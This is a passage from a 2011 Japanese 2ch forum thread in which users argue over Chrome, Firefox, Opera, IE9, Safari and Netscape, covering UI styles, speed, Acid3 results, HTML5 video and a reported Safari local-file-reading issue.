405 :名無しさん@お腹いっぱい。:2011/04/27(水) 08:35:22.21 ID:2Q9ca1Be0
普通統一されてるから
クラシックにすりゃークラシックになるし
XPのスタイルならXPになる
Vistaも7も個人作成のスタイルだって一緒だろ

クロームだけ青のVISTA/7風で固定されてる

406 :名無しさん@お腹いっぱい。:2011/04/27(水) 08:37:55.70 ID:ChPN0+mS0
>>405
>クロームだけ青のVISTA/7風で固定されてる
???

407 :名無しさん@お腹いっぱい。:2011/04/27(水) 08:39:43.32 ID:2Q9ca1Be0
めんどくせーなお前ら、文句ある奴は
試しにクロームをクラッシックスタイルに変えて
うpってみろよカス できるもんならな

408 :名無しさん@お腹いっぱい。:2011/04/27(水) 08:51:27.33 ID:RFyCmPZY0
>>407
自分で再現してうpしないとキチガイ認定されて終わりだよ
傍から見ると会話がまるで噛み合ってない

409 :名無しさん@お腹いっぱい。:2011/04/27(水) 08:52:24.95 ID:2Q9ca1Be0
>>408
文句言う前にうpしてみなさい
再現できませんから

410 :名無しさん@お腹いっぱい。:2011/04/27(水) 08:53:58.69 ID:Qt7y4AfO0
斬新さは一時のインパクトは大きいけどもその反動もまたあるからな
もうすでにChromeがダサく見るから人間怖いわ

411 :名無しさん@お腹いっぱい。:2011/04/27(水) 09:23:47.80 ID:RFyCmPZY0
>>409
ほれ
何を言いたいのか全くわからん
http://damedao.web.fc2.com/img/1303863625.jpg

412 :名無しさん@お腹いっぱい。:2011/04/27(水) 09:27:15.35 ID:2Q9ca1Be0
>>411
できてませんね、やりなおし
クラシックスタイルってこれの事ね
http://pasofaq.jp/windows/desktop/image/designclassiconly.jpg

あとなんで透明にしてるの?日本語不自由ですか貴方

413 :名無しさん@お腹いっぱい。:2011/04/27(水) 09:40:22.12 ID:RFyCmPZY0
>>412
なあ、それChromeじゃなくてお前のせいじゃね
透過処理はわざわざ設定しなくともOSのデフォルトだし

414 :名無しさん@お腹いっぱい。:2011/04/27(水) 09:42:21.96 ID:2Q9ca1Be0
>>413
>>407

415 :名無しさん@お腹いっぱい。:2011/04/27(水) 09:44:48.41 ID:BAQ10H7b0
>>412
言わんとするところはわかるから落ち着け
http://www.dotup.org/uploda/www.dotup.org1573869.png

Linux版なら出来る。ChromeじゃなくてChromiumだけど、一緒だろう
ClassicじゃなくてOS(というかDE)のテーマに合せてるんだけど似たようなもんだろう
もちろんうちの全部のアプリがこの配色になってるよ

416 :名無しさん@お腹いっぱい。:2011/04/27(水) 09:52:53.05 ID:RFyCmPZY0
>>414
うーん
お前と会話が成立するのは極々親しい友人かエスパーだけだと思うぞ

417 :名無しさん@お腹いっぱい。:2011/04/27(水) 09:57:12.11 ID:4UBfA0c10
今北産業

418 :名無しさん@お腹いっぱい。:2011/04/27(水) 09:58:52.84 ID:5Q/kb0Hm0
ただChrome叩きたいだけのきちがいFox厨を
延々かまうお前らって優しいな

419 :名無しさん@お腹いっぱい。:2011/04/27(水) 12:04:52.19 ID:x6orfdBV0
IE叩くならともかくChromeを叩くFirefoxユーザなんているか?

420 :名無しさん@お腹いっぱい。:2011/04/27(水) 12:42:27.41 ID:Takz1Iov0
自称新し物好き情弱Chrome厨がFirefox叩くからそれに反応して情強がChromeの弱点指摘する
Chrome厨がんばるけどスピードしか利点がないから言い返せない
結果、煽り合いも盛り上がらなくてしょんぼり

421 :名無しさん@お腹いっぱい。:2011/04/27(水) 12:56:28.06 ID:pKrFhPEp0
Androidで位置情報をこっそり収集していたGoogleのことだからChromeにも何か混ぜてるんだろうな
Google Readerとかのアクセスに使ってる独自プロトコルの通信を調べてみると密かに個人情報も送ってたりするんじゃないか

422 :名無しさん@お腹いっぱい。:2011/04/27(水) 13:13:29.03 ID:2aXIYnFD0
>>Chrome厨がFirefox叩くから
何いってんだ?
最初に >>390 のFirforx厨の典型の厨2病が訳の解らんことを言い出したから
それに対してに、君何を言いたいのか意味が分かりませんよ、となった訳だ
常に、訳の解らんことをいいだすのFirfox厨の方だが


423 :名無しさん@お腹いっぱい。:2011/04/27(水) 13:36:39.61 ID:u1DLa5760
Chromeはスピード面以外は特にこれといったいい部分はない
あ、Googleのサービス使ってる人は別よ?
あれはそういう人たちのためのブラウザ

424 :名無しさん@お腹いっぱい。:2011/04/27(水) 13:44:03.51 ID:4xV6xnin0
スピード面以外とかすぐいうアホがいるけど
実際シェア食われてんのに言い訳がましすぎる。

それにIE、FireFoxともにインターフェースまで真似っ子してまで、
Chromeのスピード重視の戦略に追従してるのは否めないよね。

425 :名無しさん@お腹いっぱい。:2011/04/27(水) 13:52:16.72 ID:hrXj4bz80
>>412
だせえwww
ChromeのGUIってGoogleOS見越してんじゃね

426 :名無しさん@お腹いっぱい。:2011/04/27(水) 13:52:41.95 ID:wjOG0Y210
Chromeはブラウザ界に革命を起こしたのは間違いない

427 :名無しさん@お腹いっぱい。:2011/04/27(水) 14:11:22.01 ID:eo05TlJS0
あれだけ「Chromeをインストールしますか?」が氾濫していたらそうもなるだろw
窓の杜なんて抱き合わせでダウンロードさせようとするし

428 :名無しさん@お腹いっぱい。:2011/04/27(水) 15:36:37.13 ID:sGM/qcxOP
ところでChromeってお気に入りボタンとかメニューは、いつになったら使えるのかな
あれのせいでユーザーを相当のがしてると思う

429 :名無しさん@お腹いっぱい。:2011/04/27(水) 16:05:03.62 ID:RHMitWMA0
お気に入りのボタンとかメニューって何だ?

430 :名無しさん@お腹いっぱい。:2011/04/27(水) 18:06:25.52 ID:ChPN0+mS0
昔は散々Chrome の UI 変すぎ!って騒いでいた奴らがいたが、
Firefox や IE が Chrome の UI に殆ど近くなったら何も言わなくなったな。

そのうち Firefox も 検索窓とアドレスバー統合しそうな気がするw

431 :名無しさん@お腹いっぱい。:2011/04/27(水) 19:02:45.88 ID:b+kMlMsn0
Fx4で統合する予定があったけどいつのまにか流れた
いずれまた統合する話が出てくると思うよ

432 :名無しさん@お腹いっぱい。:2011/04/27(水) 19:05:44.60 ID:wjOG0Y210
FirefoxってChromeの真似ばっかだな

433 :名無しさん@お腹いっぱい。:2011/04/27(水) 19:07:38.05 ID:8jIEu8Q40
>>430
たぶんやるだろ
検索エンジン変えない奴には
見た目にも機能的にも邪魔なだけだし

434 :名無しさん@お腹いっぱい。:2011/04/27(水) 19:10:35.29 ID:TXjqnVVMP
グーグルツールバーとChromeは情弱のPCに必ず入ってるからな

435 :名無しさん@お腹いっぱい。:2011/04/27(水) 19:21:17.81 ID:b+kMlMsn0
情弱な俺のPCにはIEもFxもOperaもChromeも入ってるわ

436 :名無しさん@お腹いっぱい。:2011/04/27(水) 19:24:38.83 ID:CCQueWhF0
safariが入ってなければ情弱じゃない

437 :名無しさん@お腹いっぱい。:2011/04/27(水) 19:26:12.65 ID:1KY5I2ag0
Luna & pnir をなめるなぁ!

438 :名無しさん@お腹いっぱい。:2011/04/27(水) 19:27:22.31 ID:b+kMlMsn0
Appleのアプリケーションは余計なものが一式揃って付いてくるイメージが強くてインストールする気になれない

439 :名無しさん@お腹いっぱい。:2011/04/27(水) 19:43:09.91 ID:efJCFI920
Chrome厨はどうでもいいものをありがたがりすぎ。
タブが上、アドレスバーで検索なんてOperaじゃ何年も前から当たり前だった。
拡張じゃFirefoxの方が遥かに上だ。
唯一誇れるところはJavascriptの実行スピードだけ。しかし、メモリ馬鹿食い。
それも比較的上位というだけで、しょっちゅう他ブラウザに追い抜かされるけど。

440 :名無しさん@お腹いっぱい。:2011/04/27(水) 21:50:07.72 ID:JN7nqWqr0
>>436
Chrome無い頃からSafariでWebKit使ってるな Mac買わなくて済むし

441 :名無しさん@お腹いっぱい。:2011/04/28(木) 00:25:14.17 ID:0x0I5AFV0
都市伝説
1.Safari は、実は Google開発者が開発してあげたりしている。
2.Firefox開発陣 (Mozilla)の豊富な資金源は、実は大半が Google の寄付である。

真実やいかに。

442 :名無しさん@お腹いっぱい。:2011/04/28(木) 00:58:24.28 ID:DH4zDoH00
FirefoxでGoogle検索をするといくらかMozillaの収入になる契約があるから、2は本当
最近はMicrosoftともそういう契約を結んだらしく、Fx4の検索バーにBingが入っている

443 :名無しさん@お腹いっぱい。:2011/04/28(木) 01:07:04.60 ID:vXh1cfT90
確かにChromeは起動早いけどブラウジングがキャッシュだよりなのとadblock拡張出たといっても
Firefox程の物ではなく、基本Chromeは広告排除機能を入れてメインにするブラウザーじゃないと思う(今後も
ということは、常にサードパーティー広告ガバ読みのフラッシュ広告でまくりの状態で見るのが前提で
しかもキャッシュだよりなので、アンチウイルスの検査の負荷もあいまって、実は、ブラウジングは遅いという・・・

ブラウジングのスピードならFirefox
印刷ならIE9

で、決まり

444 :名無しさん@お腹いっぱい。:2011/04/28(木) 01:14:01.31 ID:0lfxMCfF0
Bingは結構いいよ
まだ使い勝手でいえばGoogleの方がやや上だけどね

445 :名無しさん@お腹いっぱい。:2011/04/28(木) 02:06:50.79 ID:VsR1FyVuP
わけのわからん理論ですな
広告なんてブラウザの機能に頼らずとも消せるだろうに

446 :名無しさん@お腹いっぱい。:2011/04/28(木) 02:20:42.35 ID:ognWdqyT0
クロームのポップアップ式のブックマーク表示なんとかならんかね
ウザすぎ

447 :名無しさん@お腹いっぱい。:2011/04/28(木) 05:17:58.72 ID:iZeNvQrc0
IE…思えば俺が初めて出会ったブラウザは君だった…
IE6から7・8とずっと君を使い続けてきた、そしてこれからもそうなるはずだったんだ…
9になってから君は変わってしまった、僕はそれに戸惑ってしまったんだ…
新しく家に来たChromeやFirefox、僕はこれから誰を選べばいいのだろう…

というわけで、新しくなったIEのUIの変更やそれに伴う操作感に戸惑い
上に書いた擬人化SS風よろしく妄想し、今では
「IEは俺にとってなんだったんだろうか…」と重症化しています(笑
そんな私は上記三つの内どれを使えばいいのでしょうか?
みなさんの意見を聞かせて下さい
また、上記以外でおススメのブラウザがあれば教えて下さい

448 :名無しさん@お腹いっぱい。:2011/04/28(木) 05:29:48.00 ID:cM3Lmzl30
>>447
黙ってNetscape使ってろ

449 :名無しさん@お腹いっぱい。:2011/04/28(木) 05:30:04.91 ID:H1J5xQed0
おまえにはOperaしかないな

450 :名無しさん@お腹いっぱい。:2011/04/28(木) 05:33:24.18 ID:cM3Lmzl30
漢ならAmaya一筋

451 :名無しさん@お腹いっぱい。:2011/04/28(木) 05:44:02.78 ID:cM3Lmzl30
>>447
この中から選べ
Konqueror
Amaya
Netscape
Lynx
NCSA Mosaic
NetPositive

名前を聞いたことがないブラウザが多くて不安かもしれないが、
どれもその世界では知らない人がいない超一流のブラウザだ。

452 :名無しさん@お腹いっぱい。:2011/04/28(木) 07:31:02.32 ID:SOHyVjts0
Netscapeというブランド名が今でも好きで忘れられない
この名前を使って新しいブラウザが登場するなんて出来ないんだろうか
もし実現したら即飛びついちゃうぞ俺

453 :名無しさん@お腹いっぱい。:2011/04/28(木) 09:06:50.04 ID:mDnvcmWY0
Chrome 11 出たぞー

「Google Chrome 11」の安定版がリリース
ttp://www.itmedia.co.jp/enterprise/articles/1104/28/news022.html

454 :名無しさん@お腹いっぱい。:2011/04/28(木) 09:23:23.80 ID:jUQe43WD0
Chromeのバージョンほど無意味なものはないとChromiumの13を使いながら思う……


455 :名無しさん@お腹いっぱい。:2011/04/28(木) 09:26:23.59 ID:vg4TZHst0
>>444
ホームページやブログやってたら知ってることだが、Bingは糞。他のマイナー検索エンジンのがまとも

456 :名無しさん@お腹いっぱい。:2011/04/28(木) 09:53:10.45 ID:mDnvcmWY0
>>454
重要だろ。HTML5 対応が進むことで、Extension で出来ることもその分増えるわけで。
Chrome の音声入力は、結構面白いよ。

よく使われるフレーズであれば、適切に変換してくれる。
例えば「東京特許許可局許可局長」とかは、簡単に変換してくれる。

逆によく使われないようなフレーズや、ちょっとだけ変えた場合の精度は良くないね。


457 :名無しさん@お腹いっぱい。:2011/04/28(木) 11:45:01.17 ID:5aJhe6h90
(常用)Opera11>Safari5>IE9>Chrome10>Firefox4(デバッグ用)

458 :名無しさん@お腹いっぱい。:2011/04/28(木) 11:48:09.77 ID:5aJhe6h90
↑上記のブラウザはデバッグをするために全て必要となる


459 :名無しさん@お腹いっぱい。:2011/04/28(木) 11:55:36.47 ID:Jju3PIQ20
ID:5aJhe6h90 は、ザ・ベンチスレにだけ書いてくれればいいよ
同じ内容をあちこちに貼るの面倒だろ

460 :名無しさん@お腹いっぱい。:2011/04/28(木) 12:18:28.74 ID:K5E8o7t70
>>363
怪しいのは特許の絡むvideoやaudioのメディア系タグぐらいだと思う
こっちがおもにジョブズや信者に派手に宣伝されてきたから、これが駄目だとHTML5そのものが駄目に見えてしまうが

461 :名無しさん@お腹いっぱい。:2011/04/28(木) 14:54:17.17 ID:aznExexf0
>>460
Flashを使わずに済むなら使わずに済ませたいのは確か
もう下火になったけど例のiOSにFlash積まない話の時に
エンドユーザ側にFlash擁護派がいたけどあれはちょっと意味がわからなかった
デベロッパやコンテンツ提供側がFlash必要!っていうならわかるが
なんでお前らが文句言うの?お前ら見るだけじゃんと思ったよ

462 :名無しさん@お腹いっぱい。:2011/04/28(木) 15:04:41.75 ID:auiyQmrf0
HTML5の標準ビデオフォーマットはいつ決まるんだろうな

463 :名無しさん@お腹いっぱい。:2011/04/28(木) 15:18:14.66 ID:K5E8o7t70
決まんないまま各ブラウザが勝手に実装してくれで終わると予想
Googleが本気でWebMに取り組んでくれればWebMだったろうが
どうも出さなくてももともと可能性が低かったH.264が採用されるのを
阻止するためだけに出してきたように思う

464 :名無しさん@お腹いっぱい。:2011/04/28(木) 15:22:49.43 ID:auiyQmrf0
それなりに本気でWebMを出してるんじゃないか
そうじゃなければWebM Community Cross Licenseイニシアチブとか発表しないだろうし、ChromeのH.264サポートを廃止しないだろう

465 :名無しさん@お腹いっぱい。:2011/04/28(木) 15:37:38.10 ID:K5E8o7t70
肝心のコーデックそのものの改良が遅いからな
ffmpegやx264のDark Shikariとかのほうが本気でWebMの将来に期待してて
改良もそっちの方が早いぐらいだったし

466 :名無しさん@お腹いっぱい。:2011/04/28(木) 16:29:36.07 ID:zdVV8mvO0
>>461
見るだけだからだろ。
信者とまでいかないiOS機器のユーザーにはAppleがFlashを積まない理由とかどうでもいい。

467 :名無しさん@お腹いっぱい。:2011/04/28(木) 16:57:12.56 ID:P07HTi8l0
>>461
擁護ってのがどんな内容だったか知らないけど
iOS機器持ってる人はFlashが載ってるサイト見たいから
Flash Player対応してくれって書いてただけじゃねえの?

468 :名無しさん@お腹いっぱい。:2011/04/28(木) 17:20:11.58 ID:dLKSksUq0
HTML5+CSS3にとってvideo/audioなんて些末なこと

469 :名無しさん@お腹いっぱい。:2011/04/28(木) 18:55:05.39 ID:Sf1JYUmp0
>>451
WorldWideWeb
http://ja.wikipedia.org/wiki/WorldWideWeb
忘れんじゃねえ

470 :名無しさん@お腹いっぱい。:2011/04/28(木) 22:43:09.23 ID:HdpfKKjz0
>>453
やったね。
とうとうOperaを追い抜く時が来たね。

471 :名無しさん@お腹いっぱい。:2011/04/28(木) 23:38:33.85 ID:hyjIwdtr0
>>470
Operaが最強です。その座は揺るぐ事はありません。

472 :名無しさん@お腹いっぱい。:2011/04/28(木) 23:47:52.31 ID:VsR1FyVuP
いや来年の今頃には20ぐらいになってるだろ

473 :名無しさん@お腹いっぱい。:2011/04/29(金) 06:16:03.31 ID:46yRvUuh0
フラッシュを使わずにHTML5canvasで済ませたらこうなったぜ!

http://www42.atwiki.jp/syugyou?cmd=upload&act=open&pageid=240&file=tun.html


474 :名無しさん@お腹いっぱい。:2011/04/29(金) 07:51:04.81 ID:3BRbPurZ0
Firefox4.0.1
ぬりかべが使えなくなった
今までありがとう火狐

もうおまえに振り回されるのはたくさんだ

475 :名無しさん@お腹いっぱい。:2011/04/29(金) 12:58:47.60 ID:YmM9djww0
最近のJavaSceript開発の傾向

Firefox4で作る→Opera11で使う

Chrome11で作る→Safari5で使う

IE9で作る→IE9のIE7で使う


476 :名無しさん@お腹いっぱい。:2011/04/29(金) 12:59:24.13 ID:YmM9djww0
どのブラウザてもほぼ動作するJavaScriptを開発する

Firefox4で作る→Opera11でテスト→Chrome11でテスト→Safari5でテスト→IE9でテスト→IE9のIE7でテスト→Opera11で使う

477 :名無しさん@お腹いっぱい。:2011/04/29(金) 13:00:21.05 ID:YmM9djww0
(常用)Opera11>Safari5>IE9のIE7>IE9>Chrome10>Firefox4(デバッグ用)

478 :名無しさん@お腹いっぱい。:2011/04/29(金) 13:35:44.00 ID:YmM9djww0
Opera11やSafari5のように偽装モードを持つブラウザは
今後は偽装するより主張する方がシェア宣伝になるようだ

479 :名無しさん@お腹いっぱい。:2011/04/29(金) 13:40:02.83 ID:YmM9djww0
SleipnirとGraniはIE7(IE6)モードのままらしい。
でも一部のサイトではIE9より表示が早かった。

Acid3テストすればモードが判明する。
http://acid3.acidtests.org/

480 :名無しさん@お腹いっぱい。:2011/04/29(金) 14:11:10.53 ID:HnJhG71+0
楽しい独り言スレはここでしょうか?

481 :名無しさん@お腹いっぱい。:2011/04/29(金) 14:36:58.21 ID:KR7C3iwg0
>>480
いいえここではありません
こちらへどうぞ
http://hibari.2ch.net/test/read.cgi/software/1297583525/

482 :名無しさん@お腹いっぱい。:2011/04/29(金) 15:27:21.68 ID:YmM9djww0
>>479
IE9のIE7モード固定なのかな?

483 :名無しさん@お腹いっぱい。:2011/04/29(金) 15:29:49.83 ID:YmM9djww0
Firefoxは表面的な宣伝性能の割に、
使えないブラウザ化も促進されつつある?

484 :名無しさん@お腹いっぱい。:2011/04/29(金) 15:31:23.27 ID:YmM9djww0
もし改悪をするスパイ開発者いたら大変?


485 :名無しさん@お腹いっぱい。:2011/04/29(金) 15:32:11.60 ID:YmM9djww0
Operaは大丈夫なのだろうか?とても気になる!


486 :名無しさん@お腹いっぱい。:2011/04/29(金) 15:48:37.36 ID:YmM9djww0
Opera11とChrome11で速度を比べる
http://acid3.acidtests.org/

Opera11は69/100のあたりで引っかかる、2回目も同じく引っかかる。
JavaScript絡みの不具合も考えられそうだが、原因は不明?

Chrome11は69/100のあたりで1回目は引っかかるが、2回目から高速化される。
こちらはDNS プリフェッチを使用してページの表示速度を向上するをONにしている。


487 :名無しさん@お腹いっぱい。:2011/04/29(金) 16:13:47.14 ID:i4x2ZYU50
Safari終了のお知らせ

ローカルのHTMLファイルからどこまで読み取れるか選手権 2011 - 金利0無利息キャッシング – キャッシングできます - subtech
http://subtech.g.hatena.ne.jp/mala/20110425/1303730089

>まとめ
何の警告もなく、デフォルトの設定で、ローカルファイルから任意のローカルファイルを読み取れるのはSafariだけだ!!!!!!!
WebKit使っているアプリが、ローカルファイルのコンテキストで何か表示する+バグがあると、この問題の影響を受けることがあります
ローカルHTMLをベースにしたアプリケーションが、警告を無効化したり設定を変更するように説明していることが、たまにあります
ローカルHTMLファイルでWebアプリケーションのモックを作ったり、開発を行ったりする際に、設定変更する方法を案内している記事があります。
無効化されていたり警告が出たりするのには、それなりに意味があるので、何が出来るのかについてよく考えた上で、設定変更は慎重に行いましょう
Safariで(信頼できない)ローカルのHTMLファイルを開くのは、現状避けるべきでしょう。

488 :名無しさん@お腹いっぱい。:2011/04/29(金) 16:27:01.74 ID:zvEnVQcT0
>>487
UAC無効にしてるような連中には無関係な話だなw

489 :名無しさん@お腹いっぱい。:2011/04/29(金) 16:37:02.67 ID:zvEnVQcT0
IE9にGoogleのWebMプラグイン入れたしHTML5でYouTube観てやるぜーと思ったら
動画が移る度に音量がMaxに戻るからすぐにFlashに戻しぜ・・・
所詮FlashとHTML5の差なんてGUIの設計ミスで簡単に無くなるものなんだなw

490 :名無しさん@お腹いっぱい。:2011/04/29(金) 16:41:49.91 ID:zvEnVQcT0
HTML5にはsessionStorageとかlocalStorageがあるのになぜ記憶しないのだろうか

491 :名無しさん@お腹いっぱい。:2011/04/29(金) 16:45:10.72 ID:gtszy4kU0
純粋になんでも中味を弄りたい理想主義のヲタクと、金は1円払いたくないケチなビジネスマン、
彼らはそれぞれ全く別の考えをもった似ても似つかない人々だけど、
そんな彼らが心から意気投合し、一致団結する素晴らしいユートピア

それがオープンソースコミュニティー

492 :名無しさん@お腹いっぱい。:2011/04/29(金) 17:32:10.91 ID:XJwIf6N2P
>>486
引っかかったけど更新したら100まで行ったぞ

493 :名無しさん@お腹いっぱい。:2011/04/29(金) 17:33:06.99 ID:XJwIf6N2P
ちょっと勘違いした

494 : 忍法帖【Lv=9,xxxP】 【東電 90.8 %】 :2011/04/29(金) 21:24:19.49 ID:pBbu97Cx0
IE9入れたらchrome Dev版12を最大化した状態だと右側と下側がずれるようになった。
フラゲダウソ時点でUIが変わりすぎてIE8に戻したが…。。。
IE9正式ダウソでmixiのFlashアプリをやったら、処理落ちとメモリリーク。Firefox4に関しては改悪に思える遅さ。
QuickTimeやITunesをダウソした際に勝手にダウソ要求されるSafari for WindowsやIEでGoogleにアクセスした際にダウソ要求されるChromeの併用が(ry。

495 :名無しさん@お腹いっぱい。:2011/04/30(土) 04:26:23.20 ID:sIP0Vm0LO
IE9:読み込みの重さは変わっていない。IE8からレイアウトが改悪されて使いづらい。
Fx4:3.6.xから比べて4.0.xは急に重くなった。
Opera:レンダリングが独特で素人にはおすすめできない上に表示が汚い。
Safari:表示は綺麗だが起動の遅さとセキュリティーの穴が致命傷。
Chrome:SafariのWebKitをチューニングして軽量最速だが、バグが多い上に正常に表示できないサイトがある。

Trident:やはり重い
Gecko:年々重い
Presto:蓋を開けたら重い(開発版ではかなり早い)
WebKit:最速だがバグが多い。

496 :名無しさん@お腹いっぱい。:2011/04/30(土) 07:52:17.71 ID:ulIJr6to0
Fx3.6から4.0にして重くなったということはあり得ない。
プロファイル作り直したのか?


497 :名無しさん@お腹いっぱい。:2011/04/30(土) 08:01:27.80 ID:h9nYzkoa0
アドオンもかなり4.0に対応してきたな。

498 :名無しさん@お腹いっぱい。:2011/04/30(土) 08:18:55.18 ID:09u5OSZt0
>>496
ヒント:スペック

499 :名無しさん@お腹いっぱい。:2011/04/30(土) 08:52:44.13 ID:ny6+R+VE0
Acid3が100/100になるのは
Opera11とChrome11とSafari5

Opera11だと69あたりで引っかかる
Opera11はAcid3動作を高速化すべき
http://acid3.acidtests.org/

500 :名無しさん@お腹いっぱい。:2011/04/30(土) 08:55:24.65 ID:ny6+R+VE0
Firefox専用コードを除く
Firefox3用JSを標準とすると

Opera11用JSの制限はかなり少ない
Firefox4用JSの制限は少々ある
Safari5用JSの制限は多少ある
Chrome11用JSの制限は多多ある
IE9-IE7用JSの制限は過大と思う

501 :名無しさん@お腹いっぱい。:2011/04/30(土) 08:56:17.22 ID:ny6+R+VE0
Opera11はChrome11よりも早くないが操作性がいい
Opera11はChrome11よりもクラッシュしにくい
Opera11はChrome11よりも機能制限が少ない
Opera11はChrome11よりもFirefox用JSが動作する
Opera11はChrome11よりもSafari用JSが動作する
Opera11はChrome11よりもIE用JSが動作する

502 :名無しさん@お腹いっぱい。:2011/04/30(土) 08:59:43.52 ID:ny6+R+VE0
>>495
>Gecko:年々重い

FlashとSilverlight入れてフルHD動画をたくさん見れば
いかにFirefox3やFirefox4が重いのかわかると思う。

Firefox3やFirefox4ではYouTubeなどフルHD動画の
再生負荷を加えると動画の通信スピードが落ちて最悪。

503 :名無しさん@お腹いっぱい。:2011/04/30(土) 09:02:01.19 ID:ny6+R+VE0
拾い物

IEベースでメモリを約半分しか消費しない最軽量タブブラウザDonutQ(フリーソフト)
http://jp.layer8.sh/reference/entry/show/id/1075


504 :名無しさん@お腹いっぱい。:2011/04/30(土) 09:06:39.01 ID:ny6+R+VE0
>>479
Lunascape6.5ではIE9エンジン搭載
Acid3で調べて簡単に判別できた
http://acid3.acidtests.org/


505 :名無しさん@お腹いっぱい。:2011/04/30(土) 09:13:11.61 ID:ny6+R+VE0
>>504
だが、3エンジン搭載よりも、OPERA11が早い(笑)

506 :名無しさん@お腹いっぱい。:2011/04/30(土) 09:18:39.18 ID:ny6+R+VE0
>>501
他のブラウザからJSコードを流用したとき、
Opera11では変更箇所が少なくて済む。

507 :名無しさん@お腹いっぱい。:2011/04/30(土) 09:55:06.76 ID:ny6+R+VE0
OPERA11をタブ30個ほどで使っている
ここ一週間クラッシュも起きていない。
スピードも落ちていない。とてもいいー

508 :名無しさん@お腹いっぱい。:2011/04/30(土) 10:06:58.59 ID:9/ht+4jL0
オペラーの俺でもID:ny6+R+VE0はウザいと思った

509 :名無しさん@お腹いっぱい。:2011/04/30(土) 10:15:58.65 ID:mCjQ8O5w0
そもそもこのスレはキチガイ隔離スレだし

510 :名無しさん@お腹いっぱい。:2011/04/30(土) 10:23:54.62 ID:oR18y1sM0
隔離できてねーし
Linux板にまでいやがるし

511 :名無しさん@お腹いっぱい。:2011/04/30(土) 11:32:16.48 ID:hK65kNCA0
>>489
各ブラウザともflashに比べるとストリーミングの処理の仕方がそもそも下手ならしい

512 :名無しさん@お腹いっぱい。:2011/04/30(土) 13:09:13.26 ID:y9aQj6SQ0
FireFox4.0.1にしたら起動に時間がかかるようになった
それ以外はさらに早くなったようだ

513 :名無しさん@お腹いっぱい。:2011/04/30(土) 13:09:27.64 ID:uMIQJVe30
連休だなあ

514 :名無しさん@お腹いっぱい。:2011/04/30(土) 13:11:23.93 ID:y9aQj6SQ0
FireFox4.0.1でIETab使うと以前はしなかったクリック音が出るようになった

515 :名無しさん@お腹いっぱい。:2011/04/30(土) 15:20:10.25 ID:0YEk3tytP
君の仲間アホー知恵遅れにたくさんいるよ

516 :名無しさん@お腹いっぱい。:2011/04/30(土) 21:28:11.52 ID:ny6+R+VE0
>>489
Windows7やVistaはブラウザごとの音量調節ができる。XPはできない。


517 :名無しさん@お腹いっぱい。:2011/04/30(土) 23:03:11.56 ID:kBwoShB20
スマン、なにも考えずにFirofoxを使っている俺に教えてくれ。

PCの買い換えとともにネットスケープ→オペラ→Firefoxとたどってきたけど
そういえばネットスケープはいったいどうなったの?ネスケの歴史を是非教えてほしい。

518 :名無しさん@お腹いっぱい。:2011/04/30(土) 23:04:26.21 ID:rp87eqhw0
滅んだ
まだダウンロードはできると思うけど

ちなみにネスケの中の人はWebkitのRockmeltを開発中

519 :名無しさん@お腹いっぱい。:2011/04/30(土) 23:16:17.81 ID:6QRwEMKv0
IEもOperaもOpenTypeフォントを表示することができない。
Firefoxが一人勝ちだ。

520 :名無しさん@お腹いっぱい。:2011/04/30(土) 23:40:38.81 ID:oXlb8eWA0
Operaで表示できてるけど

521 :名無しさん@お腹いっぱい。:2011/04/30(土) 23:42:20.23 ID:kuGfFdmj0
ネスケは滅び、残りかすがFirefoxになった。
最初は本当にカスだったが、いつの間にか一番タフなヤツに成長した。
他に現役のMozilla一族としてSeamonkeyやCaminoがいる。

しかし何よりも今世紀に入ってから、Konqueror大出世伝説が凄まじい。
まずはAppleがレンダリングエンジンをチューニングし、
GoogleがJavaScriptエンジン(とスパイ)をこしらえて無闇に宣伝した結果、
いつの間にか信者がごっそりつきまくり、
一晩にしてブラウザ界の主役へ躍り出た。

そして、何時までも君は変わらず個性的で素晴らしいOpera

522 :名無しさん@お腹いっぱい。:2011/05/01(日) 00:09:19.66 ID:Yj6tMTeI0
IE9の追跡防止リストがFirefoxのAdblockPlusと同等機能(要素非表示が無いだけ)なんだけどなんで話題にならないの?
まあブロック一覧とかできないし使い勝手は悪いんだけどさ

523 :519:2011/05/01(日) 00:24:37.02 ID:xKemhlYr0
>>520
本当だ。OpenTypeフォントをOperaで表示できた。
フォントを優先ファミリー名で指定することはできないのか。

524 :517:2011/05/01(日) 00:25:46.49 ID:m63qDDmd0
情報サンクス!

そうか…今の主要ブラウザには残りかすくらいしか残ってないんだな。
当時はIEと人気を2分するくらいのブラウザだったような気もするだけに残念だ。

すまんネスケ!あの青っぽい感じのNのロゴはあんまり思い出せないけど
君のことはなるべく忘れないようにするよ。

525 :518:2011/05/01(日) 00:28:56.72 ID:5s53MV3q0
だよなぁ Firefoxが出る前はNetscape使ってみたくて仕方なかったけど
電話回線が遅すぎてダウンロード終わらないから断念したことがあった

ネスケっぽいといえばSeaMonkeyはNetscapeとよく似てる気がする

526 :名無しさん@お腹いっぱい。:2011/05/01(日) 06:55:08.84 ID:UWP8Ngud0
確かゲイツが独占禁止法違反で有罪なったのは
ネスケ潰した(というか強引にIEを使わせる)のが主じゃなかったっけか
だから別にユーザーたちの意思で滅んだわけじゃないと思う
俺も詳しくは知らんけど

527 :名無しさん@お腹いっぱい。:2011/05/01(日) 07:37:31.66 ID:o8uSECxl0
ネスケは明らかに滅んだ唯一のメジャーブラウザだが、
Rockmeltはスレタイに名前が載るようなメジャープレイヤーになるかね。

サイト見たけど、SNS中毒者のためのマニアックブラウザで、
よくてもOperaみたいな熱狂的信者の御用達ブラウザ止まり、
悪いとGoogleWaveの二の舞になりそうな気がしたんだが…。
みんなどう考える?

528 :518:2011/05/01(日) 08:03:50.74 ID:227cuSDB0
あったねそういうの
BBC News - Microsoft offers browser choices to Europeans http://news.bbc.co.uk/2/hi/technology/8537763.stm
こんなこともあったし

Rockmeltは全然完成度が低いからメジャーにはならないと思うよ
せいぜいサブ程度に使われるレベル

529 :名無しさん@お腹いっぱい。:2011/05/01(日) 08:58:07.37 ID:+WhwX+Jh0
RockmeltはSleipnirみたいなもんだろ?

530 :名無しさん@お腹いっぱい。:2011/05/01(日) 08:58:18.02 ID:PshPatXY0
>>527
facebookのユーザー数は地球上の人口の10人に1人
まあ完成度はまだ低いから今のレベルではよほどSNSが好きな奴じゃなきゃメインでは使わないだろうな

531 :名無しさん@お腹いっぱい。:2011/05/01(日) 08:59:32.17 ID:PshPatXY0
>>529
Flockみたいなもんだよ

532 :518:2011/05/01(日) 09:13:59.40 ID:227cuSDB0
むしろFlockみたいなものがRockmeltだろ

533 :名無しさん@お腹いっぱい。:2011/05/01(日) 10:09:03.64 ID:7zE3QQ/m0
